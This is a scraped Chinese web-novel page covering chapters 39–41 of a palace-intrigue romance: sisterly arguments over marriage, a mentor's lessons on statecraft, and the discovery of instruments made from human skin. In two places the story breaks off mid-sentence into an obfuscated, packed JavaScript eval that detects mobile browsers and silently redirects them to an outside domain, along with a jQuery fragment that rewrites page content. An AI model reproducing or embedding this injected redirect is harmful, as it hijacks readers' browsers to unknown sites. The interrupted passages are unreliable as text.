“阿姐,你为何要使这些手段?”乌兰朵未让宫娥通传,直接推门而入,步履生风。 “阿朵,你何时来的?”皇后颇为意外,半支起身,见乌兰朵匆忙几步走到榻前,秀眉直蹙。 掌事嬷嬷忙蹲身行礼,“参见公主。” 乌兰朵闻言瞥去,质问道:“嬷嬷,你也算看着我长大的,怎么同阿姐一样,也这般糊涂?” “阿朵,不许放肆。”皇后皱眉轻叱,“阿姐这是为了你好。” 乌兰朵蔑笑:“暗地里使些见不得人的手段,就是为了我好?” “公主息怒!”掌事嬷嬷苦心劝道:“娘娘只您一个妹妹,怎么可能会做伤害您的事?看在她怀着身孕的份上,您也不该和她置气啊!” 乌兰朵这才意识到自己莽撞,仔细一瞧,襄吉皇后的脸色比方才又白了不少,心中火气顿时灭了一半。 她蹲下身,半伏在榻前,自责道:“对不起阿姐,我方才说话冲了些,你别生气。” 皇后抬手反握住乌兰朵的手,轻拍叹道:“你自小就是这个脾气,心里藏不住事,咱们姐妹一场,我哪会和自己的亲妹妹生气。” “阿姐……”乌兰朵垂着头,低低道:“我说过的,你不必为了我的婚事操心,我自己的事自己心里清楚,为了一个男人,背地里做这些事,到底是不光彩的。” “你难道不想嫁给烈将军了?”皇后正色道,“那个沈绾,难道不是为了一己私欲,才委身耶齐烈?这难道就光彩?当初在雁鸣关外,她明明已经逃走,却不知使了什么手段,故国城破不说,竟又厚着脸回到耶齐烈身边,这样的女人,难道不是有心机、有手段? 你和烈将军相处这么久,迟迟没有进展,不就是因为这个女人?我们东厥女子不像中原女子,没那么多束缚规矩,你若能和烈将军成其好事,我自会向陛下禀明赐婚,到时候你觅得佳婿,于东厥也添一助力……” “阿姐,”乌兰朵抿了抿唇,打断皇后的盘算,“难道我的婚事,注定是一场交易筹码?当初烈将军是父王定下的联姻人选,可婚事是我自己的,难道我就没有改变的权利? 你和父王的心思,我都明白,可我想了很久,父王当初看中的,不过是烈将军的身份和地位,可一路走来,我累了,也倦了,他并非我的良人,更加勉强不来,我又何苦委屈自己,强扭一个根本不属于我的人?” “你的意思是说,你放弃烈将军了?你可得想清楚……” “不过一个男人,我早就想清楚了。”乌兰朵扬了扬眉梢,“了不得一辈子不嫁人,又能如何?” 皇后怔了怔,良久,方叹息道:“傻丫头,真就这么算了?论能力、论样貌,烈将军可是不可多得的人物,姑娘家,哪里真能一辈子不嫁人?” “嫁人到底有什么好?”乌兰朵不以为然,目光无意间扫到桌边点心,忽疑惑道:“奇怪,我记得阿姐不爱吃这些,怎么备下这么多?” 掌事嬷嬷道:“这是……陛下着人送来的。” 乌兰朵眉间瞬时布上阴云,“阿姐,这就是你当年满心欢喜的姻缘?我记得当时你们成亲不过三年,他就另娶了侧妃,这些年虽然表面相敬如宾,可这其中到底有几分夫妻的情意在?他到底是因为爱你,还是因为你背后的母族?” “公主!”掌事嬷嬷急声道,“您何苦惹娘娘不快呢?” 乌兰朵顿了顿,却没有停下的意思,“阿姐,我的话或许犀利,可字字肺腑,若不是因为你肚里的孩子,恐怕陛下也不会这般殷勤,可即便这份殷勤,也全然不见用心。” 她捏了块糕点于指尖,稍一用力,便化作松散粉粒,簌簌落在桌面,“夫妻多年,陛下他竟从不知姐姐的喜好,这样的姻缘、这样的夫君,到底有何值得为其付出?” 39. 第三十九章 卜算子 皇后的脸色随着糕点碎渣的掉落,愈发难看,手心紧攥,指尖陷进皮肉,却不觉痛意。 她何尝不明白乌兰朵的话,只是这些年她装作若无其事,大度贤良,只为维持表面的和谐。 她是正妃,是皇后,这些名头已不仅仅是耶齐格的妻子,更成了一种身份,一种责任。 “你说的这些,我都明白……”皇后眼中最后一点微光渐渐暗淡,“可是如今,我已没得选……” 殿中一时寂静无声,乌兰朵知晓自己戳痛了姐姐,眉间带着愧意。 良久,皇后溢出长长一声幽叹:“罢了,你自小就是个有主见的,已经决定的事旁人也拗不过。你长大了,有自己的想法,阿姐我也不再阻拦。 或许你说的对,婚姻是一辈子的事,不能当作筹码。你是我唯一的妹妹,既然已经决定弃了烈将军,那我们就另择良缘。东厥的公主,自是不怕没有好男儿相配。” 乌兰朵没想到姐姐会这么快支持自己的决定,心间瞬时涌上一股热流,伏下身依偎在她身边,喉间发涩:“谢谢阿姐……” 抬手轻覆上皇后小腹,乌兰朵温声呢喃:“现在最重要的阿姐和肚子里这个,我可迫不及待想见小外甥了呢……” ** 谢翊缠了沈绾两日,直到第三日,沈绾终于要回御马司当值。 “阿鸾,你为何一定要去做这份差事?你若想查御马司,我帮你便是了。”谢翊扯住沈绾袖口,依依不舍,“后日我便要走,多陪我两日不行吗?” 沈绾看着他委屈巴巴的样子,心中好笑,这男人真是越发黏人。 “我总不能凡事都依靠你,如今我也有月钱,虽不多,但总归能养活自己。就像你说的,御马司的账并非一朝一夕能够查清,也不急在一时。” 她轻声哄着:“将军既然后日便走,那我明日晚间早些下值,给将军做几道好菜。这些日子我可是学了不少手艺,就当给将军饯行,可好?” 她嘴角弯起浅浅的弧度,可一双清亮的眸子却平静如水,不见一丝涟漪。 “你……”谢翊嘴唇翕动几下。 你难道真的不在意我吗? 他心中虽想着,可终是没说什么。 “怎么了?”沈绾见他欲言又止,不觉问道。 “没事。”谢翊扯了扯唇角,替她捋顺耳边被风吹乱的青丝,“早点回来。” 指尖划过鬓角,带着点点酥痒,沈绾偏了偏头,许是男人的眼神太过温柔,稍有不慎便能让人溺毙其中,她不敢多想,慌乱点了点头。 御马司的差事依旧,奇怪的是,一向爱找茬的胡监官这两日却没了动静。 沈绾没作多想,只按例做着差事,这日下值早,她雇了辆牛车,打了两壶好酒,径直前往李家村。 只是在李大山家并未见到人,出来转悠一圈,才发现明景崇正坐在田埂边。 傍晚的余晖洒在身上,衬得老者的面容越发清癯,花白蓬乱的头发随着汗渍粘在额角,一双苍老却布满薄茧的手掌搭在膝头,裤腿高卷,脚上蹬着布鞋,坚实地踩在田埂上。 “师父,您怎么坐在这?” 沈绾见他身边放着锄头,水眸一眨:“师父您……居然会做农活?” “怎么,老夫难道只能徘徊于讲课桌案,入不得田间地头?”明景崇仰起头,豁达一笑,“立政之本,则存乎农,唯有仓廪实方能天下安。百姓靠着土地吃饭,国家自然也靠这些土地发展,可见即便是农活里也藏着治国要理。” 沈绾深以为然,提着酒壶挨着明景崇身边坐下,“师父说得极是,我这给您带了两坛好酒,咱们边喝边聊。” 见沈绾打开瓶塞,朝碗里倒了半碗,明景崇深深嗅了口酒香,不觉叹道:“好徒儿,师父可没算白疼你!” 谁能想到,一个闻名天下的博学鸿儒,一个命途多舛的亡国公主,此刻竟在田埂间相对而坐,不讲诗书不论国策,只谈起农作耕种来。 “师父,您既说务农重本,方为仁政,具体何解?” 明景崇望着眼前绿油油的麦地,答道:“土地农桑乃立国之本,若是为君者省刑罚,薄赋敛,老百姓循农时,有节制,自可谓仁。” 沈绾颔首,不知想到什么,抬眸道:“既施仁政,那可否成为明君、圣君?” “非也。”明景崇摇头,“施仁政或可为仁君,虽仁慈、博爱,但也要看所处时局,若是必要时少了雷霆手段,一味尊仁,也难成大业。” 见沈绾有些迷糊,明景崇解释道:“仁君、明君、圣君,听起来皆为褒义,可内在涵意却大为不同。为师虽以儒学见长,但深知学无止境,唯有采百家之长,方能见天地、见众生,而非局限一隅。” “师父曾说,天下之道,应之以治则吉,应之以乱则凶。于当世而言,何谓上策?” “当世之局,结束南北纷争乃是首要。”明景崇轻捋白须,捡起一节木枝,在地上勾画道:“如今拓摩虽立朝,可只占据大胤曾经三分之二的领土,单看南边这一块,是早就不太平的。先是胤军于东南建立南胤政权,后有一帮流民匪寇逃窜西南自立为王,那位拓摩皇帝想必是寝食难安。 不过这些只是表象,真正的暗流其实——在这!” 手中木枝一定,落于西北一角。沈绾顺势看去,不由蹙眉:“师父,您说的这里可是北疆,拓摩的王庭就在这,他们自这里发家,如何藏有暗流?” “你可看清楚了,”明景崇在地面画了个小圈,又点了点,“这里地处西北边界,虽也属北疆,可并非中心地带,离拓摩更是十万八千里。 ‘北疆’一词不过是咱们中原人对北方各族的统称,实际上,漠云十二州以北,虽荒凉偏僻,但面积辽远,散落着不少部落族群,他们有的不像拓摩一族野心勃勃,而是把重心放在通商贸易,这些部落的商队遍布天下。也正因如此,同为北疆部族,有的富庶丰足,有的贫瘠荒芜,只能靠不断掠夺获取物资,抢不到中原,那就只有从自家边界入手,因此这些西北部落没少记恨拓摩。 前朝武炀帝虽打压异族,可也只是针对离大胤边界的部落,对这些西北商队却没有管制。如今耶齐格即位,虽有意拉拢北疆各族,可也只是将重点放在像东厥这种有军队实力和姻亲关系的族群,对于曾经的手下败将,耶齐格缺少为君者的胸襟,处处卡塞关卡,加以设限,导致商路不通,这些商族自然积怨已久。 故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976357|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而我才说,这是一股不容小觑的暗流。” 沈绾恍然,“师父高瞻远瞩,只是如此看来,天下几股势力暗涌,若要一统,不知须费多少功夫。” “真要说起来,其实倒也不难。”明景崇徐徐一笑,“如今局势看似纷乱如麻,可如同散落的一盘乱棋,只要重新布局,顺势而动,便可将最后定乾坤的一字牢牢握在手中。 就看,你愿不愿意做了?” 明景崇的眸色渐渐变得意味深长,沈绾瞬间心领神会,敛袖正色道:“沈绾不才,承蒙师父教诲,愿做这执棋者。” “好。”明景崇仰头饮了口酒,眸光熠熠,“既要做执棋者,就不能耽溺于儿女情长,如今天下未定,若要赢得棋局,当以棋为刃,重新开辟一条新路。” 听明景崇提及她女儿家的情思,沈绾面上不由闪过一丝羞赧,但很快就消失不见。 “师父当初暗中相助,以太学之力施压,使得百姓免于蒙冤,更帮助无辜之人免受牵连,沈绾心中感激不尽。” 明景崇摆摆手,“那些太学学子追随的不是我,而是儒学道义,因为他们对的仁政的追求,才有了义无反顾的反抗谏言。” 沈绾追问:“这些人不畏强权、直言进谏,是否可谓贤才?” 明景崇笑了笑,抿了口酒,目光变得悠远,“所谓亲贤远佞,所言虽不假,可何谓贤何谓佞,实难判断,更非一朝一夕可断言。 今日敢于诤言的贤臣,明日或可成为以文乱法的愚臣,昨日投机取巧的佞臣,今日或可成为当机立断的智臣。 可见治理天下须得多思多听多看,既不得过于偏听偏信,也不得过于冷漠疏远。仁德之政虽不可少,但也须注重律法引导。你将来若能坐上那高位,便会有更深刻的体会。” 明景崇说得深入透彻,沈绾闻言,不由想到做了几十年皇帝的父皇,他浑浑噩噩一生,想必也从未悟透治国理政的要义。 “敢问师父,您认为何种方式才是真正的治国之道?” 明景崇捻着白须,忽而一笑:“你这女娃娃,今日怎么这么多问题。” 顿了顿,遂凝神答道:“这个问题为师也思究多年,尚有一点心得。我以为,唯有以法治天下,以儒施教化,方为治世之道。” 老者的声音浑厚有力,在旷野间砸出阵阵回响。 “法之天下,儒之教化……”沈绾在唇间反复呢喃回味,深觉脑中灵台顿时清明起来。 “师父,”沈绾躬身行礼,“徒儿受教了。” 天边一阵清风拂过,送走残阳霞光,携来沉沉暮色。 “天色不早,咱们该回去了。” 明景崇起身拍了拍身后尘土,俯身捡起锄头,抬步往回走,沈绾见状忙帮将酒坛塞好,拎着东西跟在身后。 二人走到半道,明景崇想了想,蓦地转头道:“你是我收的第一个女徒弟,按理我这个做师父的不好过问太多,只是你当初既许下宏图伟志,可不要随口说说,让它成为一句空话。” “师父何出此言?” 明景崇清了清嗓:“成大事者,先得处理好自己的小事,你同那位拓摩将军似乎颇有渊源,但愿日后不要让他成为你的软肋。” 40. 第四十章 朱门臭 沈绾步子一顿,自从拜师以来,她似乎从未在师父面前提过谢翊,更未提起过自己的身世,可不知怎的,明景崇那双清明的眼里,仿佛早已看穿一切。 “师父,”沈绾像是下了很大的决心,定定道,“我明白的。” 让他成为她的软肋吗?不,不会。 她清楚地知道自己要走的路,他不过是她绝境求生的庇护伞,必要时加以利用的刀刃。 只是……她不得不承认,这些日子的朝夕相处,让她难免生出些许犹疑和不忍。 他曾说过会帮她,可她要的,不仅仅是他舍弃权势地位、富贵荣华所能实现,她的良知,让她无法看到他为了自己背弃族人,抛弃血仇,她可以自私,但不能残忍。 如果说她的悲剧是他造成的,那他呢?他的父母、族人的悲剧,又是谁造成的? 她犹豫了,这把刀固然好用,可到了必要的时候,是不是也该放弃…… ** 暮色渐渐四合,从李家村到将军府,路上要小半个时辰,沈绾生怕谢翊等久了起疑,匆匆告辞。 奇怪的是,她来了这么久,一直没有见到李大山。 “这段日子,御马司那边消停不少,草料方面不再折腾,大山得了空联系到几家马场商户,许是在外面有事耽搁了。” 听明景崇这样说,沈绾点点头,不再追问,驾着牛车往城里赶。 城中虽尚未宵禁,可到底夜深,路边人影伶仃,唯有更夫长调的吆喝声在寂寥街道回荡。 “天干物燥,小心火烛——” 牛蹄在青石板上踏出“哒哒”声,沈绾轻扬牛鞭,欲让它走得更快些。 刚转过街角,一道黑影蓦地从暗处窜出来,高大的身形似一座小山,扑倒在车辕旁。 沈绾被吓得一惊,下意识握住腰间匕首,刚要惊呼,只见那人艰难抬起头:“沈姑娘,是我。” “李大哥!?”沈绾借着路边廊檐下的昏光,这才看清对方的脸,瞬间倒抽了口凉气。 鬓角发丝凌乱,从眼角到下颌一片青紫,身上的褐色衣衫似乎被什么东西浸染,显得越发浓黑。 沈绾赶忙跳下车,将人搀扶起来,“李大哥,你这是怎么了?” 李大山支着身子勉强站起,匆忙望了眼身后,“走,快走!” “有人在追你?”沈绾望了眼身后黑黢黢的小巷,立即会意,“我扶你上车。” 牛车虽不大,但装下李大山一人绰绰有余。沈绾不敢耽搁,狠狠挥下牛鞭,那头一向慢吞吞的的老牛随即迈开前蹄,直奔而去。 好在将军府就在下一条街道,牛车没一会便在后门前停下。 往常她走的都是侧门,但方才在路上她意识到,要带一个受伤的人回府,还是尽量不引人注目为好。 好在守门的小厮都认识她,见她带生人回来,虽觉疑惑但都没有多问。谢翊虽没有明说,但他们私下心里都清楚,这位沈姑娘在府中的地位,已与女主人相差无几。 将军府分为前宅后院,通常待客宴饮皆在前宅,故而后院与之相比,较为清净,可今晚……似乎有些过于清净了。 沈绾没来及多想,赶忙将人扶回房间,室内烛火明亮,她这发现李大山半边衣衫都已被血色浸透,看样子,应该是被什么刀斧所伤。 “姑娘,你怎么才……”春桃眉眼弯弯,刚推开虚掩的房门,话音就被堵在嘴边,“这是……” 沈绾望了眼她身后,确保再无旁人,立即关上门,“春桃,这是李大哥,上回你见过的,他现在受了伤,你去到药室取些伤药来。” 春桃似乎被地上蜿蜒的血迹吓住,立在原地没有动弹,直到沈绾将面盆递到她手心,才回过神。 “还要劳烦你打盆温水。”沈绾将几支烛台移到桌边,室内顿时又亮堂许多,“对了,将军呢?他知道我回来吗?” “还没。”春桃摇头,张了张嘴,“将军他们在前厅……” “那今晚的事先别告诉他,也告诉外面那些人,别多嘴。”沈绾取来剪刀,将李大山外层的衣服麻利剪开,露出大片血洇洇的伤口。 她手上动作不停,嘴上嘱咐道:“若是将军问起,就说我还没回来。” 见春桃还立在原地,沈绾不由提醒:“怎么,还有事?” “哦,没事没事,”春桃忙不迭道,“我这就去拿。” 为防止李大山失血过多晕过去,沈绾找来干净棉布压住伤口,好在春桃动作也不慢,很快端来热水,又从药室抱来不少伤药。 这些药膏药粉还是当初刚搬进府时,谢翊特意为她准备的。 她那时身子弱,无论是治疗内伤还是外伤,谢翊备下了一大堆,都是些名贵药物,眼下正好派上用场。 先用温水擦拭干净伤口,再从春桃拿来的药箱里取出特制盐粉倒入水中,用干帕子浸湿后往伤口处一按,李大山瞬间绷紧下颌,颈边青筋暴起。 这是沈葭曾教她的法子,用盐水来清洁消毒,事半功倍。 春桃看在眼里,心中暗道,眼前这人不仅看着壮实,耐力倒也不差,伤成这样,绽开的皮肉触到盐水,竟始终不吭一声。 沈绾不懂医术,只知道哪些伤药治疗外伤最为有效,简单调配后,将药粉敷在伤处,又用干净布条仔细包扎好,方才结束。 “李大哥,何人把你伤成这样?”待一切处理完毕,沈绾才开口问道。 李大山舒了口浊气,刚欲开口,却望了眼春桃。 春桃很是识趣,拿着面盆和脏污的布条掩门退下。 待室内彻底安静,李大山方凝眉解释:“他们具体是什么人,我也不清楚,但可以肯定的是,他们其中有的是拓摩人,而且个个都是权贵。” 沈绾不解:“到底因为何事?” “这事说起来,是个意外。”李大山凝思片刻,开口道:“前两日,我在朋友介绍下认识了几位大户,他们正需购买草料,我也就和他们定下了生意。今日午后,我按照吩咐上门送货,刚到门口,就见府宅仆从进进出出,不知在忙些什么。一打听,才知道原来这家主人在宫里当差,今日正赶上有贵人来访,所以全府上下都在忙着迎接贵人。 我那一车草料需要有人验收才能卸下,可等了半天,也没人搭理。我大老远跑去,也不想空手而归,索性就在门口等,一等就是三个时辰。后来府里出来个管家,见我还没走,赶紧把草料收了。看我等了大半日,那管家说起今夜赶着他家主人寿辰,若想沾些喜气,可到后厨吃完寿面。 我在外等了那么久,早就饿了,便进去很快吃了碗寿面,刚想出去,却碰到一群仆役搬着一件件物什往院里走。那些东西看着像是乐器,可精致程度简直超乎想象,我从来没有见过那样一张鼓,鼓皮白皙细腻不说,还像有生命似的。我虽是个粗人,可对这样的东西也忍不住多看了两眼,一留神,竟瞧见那领头的是个熟人!” 说到这,李大山眼中闪出精光,看向沈绾。 “是谁?”沈绾心下一顿。 “是御马司那个姓胡的监官!” 沈绾眉头一蹙,“怎么是他?” “的确是他。御马司的人我认识的虽不多,可这个胡监官我还是有印象的,当初刚与司里做生意,曾在门口撞见过几回他刁难小太监。” 李大山顿了顿,眉头愈拧愈深,“正是见着了他,我心里才对今晚他们口中的那位贵人产生好奇。我刻意避开守卫,摸黑来到那处小院,透过窗缝,瞧见一个上了年纪的老太监,正命人展开一张皮纸。” 李大山神色越发凝重,“你根本无法想象那是怎样一张皮纸,莹润透亮,仿佛会呼吸,看起来就像……就像是无数张女人的皮肤拼接在一起。” 听到这,沈绾呼吸一滞,瞳孔都在放大。 “我开始只觉自己想多了,可后来那老太监的话我隐约听了个大概,原来那张皮纸,包括屋里那些乐器,竟都是用妙龄少女的人皮做的。” 屋里顿时静得落针可闻,李大山喘了口气,继续道:“那是流传在北疆最古老的传说,说是用上等人皮制成的物品,只要在上面写下愿望,就一定会成真。这张皮纸就是老太监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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见沈绾神情焦灼,李大山方意识到事情的严重性,“可……离开京都,我能去哪?” 沈绾想了片刻,走到案桌前提笔写了封信,递给李大山,“带着这份信去黔州,到那里找一个叫周岭的人,他会帮你安排一切。” 她为什么让他去黔州?那里不是正在闹匪患吗?那个周岭又是什么人?他去那又能做什么? 李大山心里充斥着许多疑问,可最终却什么也没有问。 “好。”他默了默,深深看了眼沈绾,点头应下。 对于沈绾,他没来由信任,如今,更是没来由服从。 “春桃。”沈绾打开房门低声唤道。 “姑娘找我?”春桃闻声进来。 “劳烦你帮忙准备几身男人衣物,再在后门备辆马车,记住,越不起眼越好,还要备下两匹马,且是脚程快的那种。” 想了想,又道:“还有,千万不要让将军知道。回头,我会亲自向他解释。” 春桃见沈绾语气郑重,也不敢怠慢,忙下去备车。 沈绾从衣柜里取出一包银子,连带着伤药箱递给李大山,“这些东西你带着,路上记得换药。我会让春桃送你出城,你们从西城门走,那里离这边较远,即便有官兵搜城,也不会在短时间查到那里。” 李大山眸色复杂,望了沈绾片刻,终是果断接过东西:“好。” 春桃很快在后门备好马车,听沈绾要她送人出城,她丝毫没有推拒,“放心吧,姑娘,我肯定安全把他送出去。” “嗯,对你,我是信得过的。”沈绾点头,眸底闪过不可言说的暗芒。 春桃莫名有些心虚,悄然避开视线。 “这个拿着,”沈绾将一枚骨牌递进春桃手心,“以免路上有人查问。” 沈绾心思细腻,短时间内处处考虑周全。 春桃摸了摸骨牌,待看清上面的字后,更加确定今晚的事不同寻常。 车辙辘辘,渐行渐远。 沈绾在原地站了会,直到马车彻底消失进夜色里,才暗暗收回视线。 刚要转身,一道冷冽男音穿过浓稠夜色,幽幽飘落在耳边,“拿我的东西帮别的男人逃命,阿鸾,你长本事了?” 41. 第四十一章 别王孙 沈绾后脊不由一顿,紧了紧掌心,缓缓吐了口气,转身之际,清明眼底早已恢复淡然,“看来一切都瞒不过将军。” 谢翊:“这是我的府邸,你大半夜带个野男人回来,又是上药又是派车,我想不清楚都难。” 他绷着下颌,话里话外阴阳怪气。 沈绾瞥了眼,秀眉微蹙:“是啊,满府上下皆是你的耳目,哪怕我送人出城,跟的也是你的眼睛。” 谢翊被她的话一堵,冷眸微眯,“什么意思?” “当初你将春桃放在我身边,恐怕不止是因为她生的讨喜吧?”沈绾眸色定定,一针见血道:“身为影卫,一举一动,即便隐藏得再好,也终究会露出破绽。你以为,我会看不出她的身份?多年来,我身边好歹跟了不少影卫,春桃的武功,其实深不可测吧?” 墨黑瞳仁一滞,闪过几不可察的幽光,继而微微扯开唇角,“看来那丫头的道行还是不够高,阿鸾冰雪聪明,被你察觉也是早晚的事。” “所以将军在我身边放了只眼睛,到底是为了保护我,还是为了监视我?” 沈绾言语犀利,问得谢翊语塞,他嘴唇翕动几下,终是什么都没说。 当初安排春桃,的确有他的私心,如今面对沈绾的质问,他的任何解释都显得苍白无力。 见谢翊不语,沈绾默了片刻,不由叹了口气,“罢了,我没有责怪将军的意思,今晚的事……瞒着将军是我不好,可李大哥帮过我,我不能见死不救。” 她垂着眼睫,片刻后委屈巴巴扯了扯谢翊衣袖,软语解释:“算我们扯平了好不好?今晚我没告诉将军,就是怕你多心,你不要生我的气了,好不好?” 她水眸轻抬,不知何时眼尾染上一抹殷红,仿佛镶了碎钻的琉璃。 谢翊一肚子邪火顷刻被浇灭,她啊,果真可以轻而易举地拿捏他。 抬手点了点沈绾鼻尖,低低一叹:“阿鸾可真是狡猾……” “将军,丞相大人问什么时候可以开席?”一小厮在旁踌躇半日,终是上前道。 “将军今晚设了宴?”沈绾眨了眨眼,疑惑道。 谢翊长臂一揽,纤腰轻易入怀,“今日是你的生辰,都忘了?” 清冽的气息打在耳边,唤起她遗忘的记忆。 往年生辰的景象蓦然涌入脑海,算了算日子,沈绾犹自呢喃:“你居然还记得……” 薄唇翘起的弧度更高了些,“走吧,别让客人们等急了。” 沈绾见他修眉舒展,方知这男人是被哄好了。 二人走进前厅,沈绾才发现原来谢翊口中的客人正是代鄯和沈葭。 他知她不喜人多,所以只摆了家常席面,更何况于她而言,能有唯一的亲人陪在身边,自是别无遗憾。 “你们两个跑哪里去了?”代鄯见二人携手进来,嬉笑调侃:“请人吃席把客人晾在一边,哪有这个道理?” 沈绾不动声色甩开谢翊环在腰间的手,朝一旁招呼:“三姐姐来了!” “阿鸾。”沈葭握住沈绾伸来的手,轻拍了拍以示安慰,“我给你准备了生辰礼物。” 说着,从一旁取来一只锦盒,打开一看,里面是一枚造型别致的香囊。香囊是用上等香云纱制成,上面绣着两只大雁,一针一线,栩栩如生。 沈绾看在眼里,心中感慨万千。 当初在关外,她曾对沈葭说过,“大雁飞翔的方向,就是大胤的方向”。现在她们回来了,可故城已非昨日,她们就如同两只离群的雁,徘徊在熟悉又陌生的领空,却不知该飞向何方。 “三姐姐的手艺越发好了。”沈绾眉眼弯弯,衷心夸赞。 自家姐姐的绣工不知比她强多少倍,她不由想起曾经送给谢翊的荷包,那样拙劣的针法,现在想来实在汗颜。 “这香囊是我亲手缝的,里面塞了几味精心挑选的草药,还塞了一枚平安符,是我前些日子去观音庙求的,可保佑阿鸾驱邪避灾。” 沈绾握紧香囊,眼眶温热:“谢谢三姐姐。” “哎呀,这样看来我的礼物倒逊色不少。”代鄯凑上前,笑眯眯递来一只长条锦盒,“打开看看?” 沈绾含笑接过,指尖掀开盒盖,只见里面是一条马鞭,鞭绳采用上等牛骨,很是精致结实,握柄处还刻着繁复的图纹。 “知道姑娘擅御马,这根马鞭是我吩咐人特意为姑娘打造的,不知姑娘可还喜欢?” 沈绾握住马鞭,在手里甩了甩,力道、手感都甚为合适,不禁摇头感叹:“丞相送这么大的礼,让我如何敢当?” “一条马鞭罢了,姑娘不嫌弃就好。” 沈绾握住手柄,在手心摩挲两下,笑道:“这上面刻着的是大人您家族的图腾,象征着显赫的身份和地位。您送这样的礼物给我,等于是送了一道护身符啊。” 代鄯道:“其实有阿烈在,哪里还用得着我这道护身符?一片心意罢了。” 沈绾瞥向沈葭,抬眸浅笑:“怕是爱屋及乌吧。”不待对方回应,遂道:“大人的心意我收下了,多谢。” 被沈绾这么一打趣,代鄯抿了抿唇,忙岔开话题,“阿烈,我们的礼物都送完了,你的呢?” 沈绾其实心中也很好奇,往年每回生辰,谢翊送她的礼物总与旁人不同。虽然大多都是宫外的小玩意,但她总是爱不释手。如今不过一年,境遇翻天覆地,她自己都忘了的生辰,却被他记在心上。 “菜还没吃上几口,怎么倒先送起礼物了?”谢翊抬手招呼,“咱们先入座喝酒。” 沈绾忙道:“小酌可以,但可不许再喝多了。”几日前的教训历历在目,脸侧不由浮起红霞。 她可不想再被他折腾一晚上。 沈葭知她想起那晚之事,也劝道:“说的正是,今日给阿鸾贺生本是喜事,不贪杯就好。” “这是自然,”代鄯笑着应道,乜着眼打量谢翊,“虽说今晚可没有那么好的东厥酒,可咱们也不能喝多误事。” 四人相互说笑,沈绾酒量本就不好,酒过三巡,已是略感微醺,遂起身到院里吹风。 今晚月色极好,流光如水,洒在屋檐院角。 沈绾坐在廊檐下,支着脑袋半倚栏杆,心中思绪纷乱。 虽说春桃带了将军府的令牌,可不知是否真能躲过官兵搜查,若是牵扯起来,怕是又要连累到谢翊。尽管她一再告诫自己,可在现实面前,她还是又自私了一回。 一声叹息溢出唇边。 “在想什么呢?”身后响起柔婉女音。 沈葭拄着盲杖迈出门槛,多年眼疾早已将她训练出强大的耳力,有时仅靠耳朵和手杖就能做出准确判断。 她能感受得到,今晚的阿鸾有些心不在焉。 “三姐姐。”沈绾起身扶过她,姐妹二人在廊椅下相对而坐,“没想什么,只是感叹今晚月色很美,美得让人有些伤感。” 沈葭眼睫轻眨,空洞的美眸里浮起一层柔色,“自古阴晴圆缺,月亮再变也只是由盈到亏,由亏到盈,只是看的人心境不同罢了。” “是啊,月亮还是那个月亮,变的只是人而已。” 沈葭顿了顿,抬手覆住她的手,低声开口:“阿鸾,一直以来都没有问你,你对那谢翊到底是何看法?” “三姐姐问这话什么意思?” 沈葭犹豫片刻,正色道:“现在就咱们姐妹俩,有些事我想听听你的想法。当初你为图求生,委身谢翊,后来又为求自保,一步步走得艰难。为了大胤,你有你的想法、谋划,我在这方面自是不如你,可一路走来,我却看明白一件事。” 沈葭顿了顿,晶黑的眼珠虽无焦距,可却准确无误落在沈绾脸上,“谢翊他,对你绝非虚情假意。” 沈绾指尖一僵,喉头莫名发涩:“那又如何?” “我们的国仇家恨固然与他脱不了干系,你想欺骗他、利用他也都在情理之中,可若是他愿意献出真心,你又是否真的忍心踩着这颗心步步为营呢?” 清柔女音随着晚风飘在耳边,直落进沈绾心里,她很快敛起情绪,淡淡道:“真心如何?假意又如何?于我们这些亡国的人而言,又有什么意义?” “谢翊的身世你知道,我也知道,冤冤相报……”沈葭抿了抿唇角,叹道:“阿鸾,我并非想劝你什么,你也无需刻意掩饰,你的性子我最清楚不过,自是不忍心为达目的,不择手段去践踏一切的。” “三姐姐原来什么都知道……”沈绾纠结多日的心思被她一语戳穿,不由苦笑:“三姐姐绕了这半天,到底想说什么?” 沈葭顿了片刻,方定定道:“如果说谢翊……他肯倾尽一 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更何况,对于他的真心,我从未有什么期许,将未来寄托在这种看不见摸不着的东西上,太冒险,也太幼稚了。事到如今,我与谢翊之间早已说不清谁欠谁。如果真走到需要他背弃一切才能来帮我的地步,我想我会果断舍弃,因为在这样的选择面前,感情,尤其是男女之情,最经不住考验,即便他一时做得到,也难保将来不会后悔。 所以对他,我只能不断试探、利用,不奢求所谓的真心,就不会因感情而扰乱一切。在生死大事面前,在手中没有掌握绝对力量和控制之前,我绝不相信任何人。” 清泠泠的眸子映着溶溶月色,显得越发淡冷沉静。 “阿烈,在这站着做什么?”代鄯的声音蓦地从身后传来,姐妹二人皆是一惊,下意识回头望去,只见黑暗处走出个人影 ——是谢翊! 他站在这多久了?到底听了多少? 沈绾脑中好似有一阵飓风吹过,顷刻间不知作何反应。 随着谢翊步子徐徐迈出,似乎有什么东西从怀中掉落出来,在地面这么一滑,正巧落到沈绾脚下。 “这是什么?”沈绾旋即敛起惊色,弯腰将东西捡起。 这东西并不重,用干净的绢帕包着,看得出它的主人很是珍视。 谢翊望着她手中物什,不动声色扯了扯薄唇:“原想着晚些时候再送给你的……” “我就说什么东西这么神秘,原来是阿烈给沈姑娘准备的生辰礼物。”代鄯看热闹不嫌事大,凑上前道,“沈姑娘可别小气,也让我们见识见识是什么宝贝?” 沈绾看了眼谢翊,见他没有反对,遂轻轻打开绢帕,借着月光,可以看出这是一只珊瑚紫金镯。 镯子其他并无特别之处,只是中间镶着的那颗大红珊瑚通体血红,如同凝固了火焰所有的炽烈,耀眼夺目。 “阿烈,你这礼物送的未免太俗气了些。”代鄯耸肩吐槽。 